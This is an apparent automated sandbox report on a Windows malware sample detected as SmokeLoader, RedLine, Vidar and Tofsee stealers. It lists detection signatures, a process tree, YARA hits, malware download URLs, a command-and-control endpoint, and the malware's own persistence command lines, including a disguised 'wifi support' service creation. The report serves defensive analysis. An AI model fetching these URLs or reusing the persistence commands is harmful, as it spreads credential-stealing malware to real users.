Play interactive tour

Edit tour

Windows Analysis Report ZA3cYU28Yl.exe

Overview

General Information

Sample Name:	ZA3cYU28Yl.exe
Analysis ID:	553399
MD5:	679831cf1f00950b4adffbbba7e6ab46
SHA1:	f4aa59829222d5ed000849ea0167082f54b59e03
SHA256:	760d44ea1a90c1b235133258a8f03bed049b5b51328aefe4a2595b6f085dd99d
Tags:	exeTeamBot
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Sample uses process hollowing technique

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Found evaded block containing many API calls

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

ZA3cYU28Yl.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\ZA3cYU28Yl.exe" MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

ZA3cYU28Yl.exe (PID: 6620 cmdline: "C:\Users\user\Desktop\ZA3cYU28Yl.exe" MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

9460.exe (PID: 6608 cmdline: C:\Users\user\AppData\Local\Temp\9460.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 4820 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

A019.exe (PID: 3340 cmdline: C:\Users\user\AppData\Local\Temp\A019.exe MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

A019.exe (PID: 5000 cmdline: C:\Users\user\AppData\Local\Temp\A019.exe MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

9779.exe (PID: 2228 cmdline: C:\Users\user\AppData\Local\Temp\9779.exe MD5: 043B44289E31BD54357F9A5C21833259)

A881.exe (PID: 7004 cmdline: C:\Users\user\AppData\Local\Temp\A881.exe MD5: 9AF71C74219794F100EA801B528339AF)

cmd.exe (PID: 6520 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\gebcmxiz\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 956 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5872 cmdline: C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

B217.exe (PID: 4400 cmdline: C:\Users\user\AppData\Local\Temp\B217.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

B217.exe (PID: 6824 cmdline: C:\Users\user\AppData\Local\Temp\B217.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 5672 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6112 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5024 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6376 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 3676 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 3608 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6812 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7100 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4520 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

rcvfbte (PID: 1308 cmdline: C:\Users\user\AppData\Roaming\rcvfbte MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

rcvfbte (PID: 5888 cmdline: C:\Users\user\AppData\Roaming\rcvfbte MD5: 679831CF1F00950B4ADFFBBBA7E6AB46)

svchost.exe (PID: 1324 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6868 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 4580 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\969F.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x3b87:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.333262137.00000000005B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.333204148.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000000.327467083.0000000005AC1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.407171768.00000000005C0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000F.00000002.385289105.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.407257194.00000000005E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001A.00000003.404265838.00000000007F0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000F.00000002.385864770.0000000002441000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 9779.exe PID: 2228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9779.exe PID: 2228	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: A881.exe PID: 7004	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
20.1.A019.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.3.A881.exe.7f0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
26.2.A881.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
26.2.A881.exe.6c0e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
15.1.rcvfbte.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.B217.exe.3fb6f20.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.A019.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.2.A019.exe.6c15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.B217.exe.3fb6f20.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.rcvfbte.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.0.ZA3cYU28Yl.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.1.ZA3cYU28Yl.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.A881.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.ZA3cYU28Yl.exe.5715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.2.ZA3cYU28Yl.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.0.ZA3cYU28Yl.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.B217.exe.3e7ada0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.2.rcvfbte.5f15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.B217.exe.405ba90.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.0.ZA3cYU28Yl.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.B217.exe.405ba90.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.B217.exe.3e7ada0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 17 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\A881.exe, ParentImage: C:\Users\user\AppData\Local\Temp\A881.exe, ParentProcessId: 7004, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\, ProcessId: 956

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\A881.exe, ParentImage: C:\Users\user\AppData\Local\Temp\A881.exe, ParentProcessId: 7004, ProcessCommandLine: C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 5872

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://81.163.30.181/l2.exe	Avira URL Cloud: Label: malware
Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://81.163.30.181/l3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\72B9.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353
Source: C:\Users\user\AppData\Local\Temp\2EE4.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012

Multi AV Scanner detection for domain / URL

Show sources

Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe

Virustotal: Detection: 17%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\293.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\293.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\48E7.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\48E7.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\50E7.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\9460.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\969F.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\A019.exe	ReversingLabs: Detection: 46%

Machine Learning detection for sample

Show sources

Source: ZA3cYU28Yl.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7F9A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8ECE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\rcvfbte	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\293.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\41A3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3657.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\48E7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\969F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\lnagngtg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\50E7.exe	Joe Sandbox ML: detected

Source: 26.3.A881.exe.7f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.A881.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 22.3.9779.exe.7f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.A881.exe.6c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 22.2.9779.exe.7d0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	22_2_00407470
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	22_2_00404830
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	22_2_00407510
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00407190 CryptUnprotectData,	22_2_00407190
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	22_2_004077A0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Unpacked PE file: 22.2.9779.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Unpacked PE file: 26.2.A881.exe.400000.0.unpack

Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49941 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49942 version: TLS 1.0

Source: ZA3cYU28Yl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\9460.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.3:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49938 version: TLS 1.2

Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000015.00000003.395354648.0000000004A9A000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395547115.0000000000A97000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000015.00000003.397528255.0000000000A91000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395537078.0000000000A91000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb) source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: $C:\sujabofu\kusaximenoki-xade\belowupo.pdbh source: A881.exe, 0000001A.00000000.401560008.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdb; source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000015.00000003.397528255.0000000000A91000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395537078.0000000000A91000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: dC:\mezakidujawu dukopigowoyiy56\feno_coje.pdbh source: ZA3cYU28Yl.exe, 00000001.00000000.277973193.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000003.00000000.280952997.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000000.366754687.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000002.372555425.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000F.00000000.370964910.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000000.383419511.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000002.395793668.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000014.00000000.392777524.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9460.exe, 00000010.00000000.377618773.0000000000413000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385010762.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.432733171.0000000000D60000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: r*;\C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdbh source: 9779.exe, 00000016.00000000.394084565.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdbq source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdb source: 9779.exe, 00000016.00000000.394084565.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\sujabofu\kusaximenoki-xade\belowupo.pdb source: A881.exe, 0000001A.00000000.401560008.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
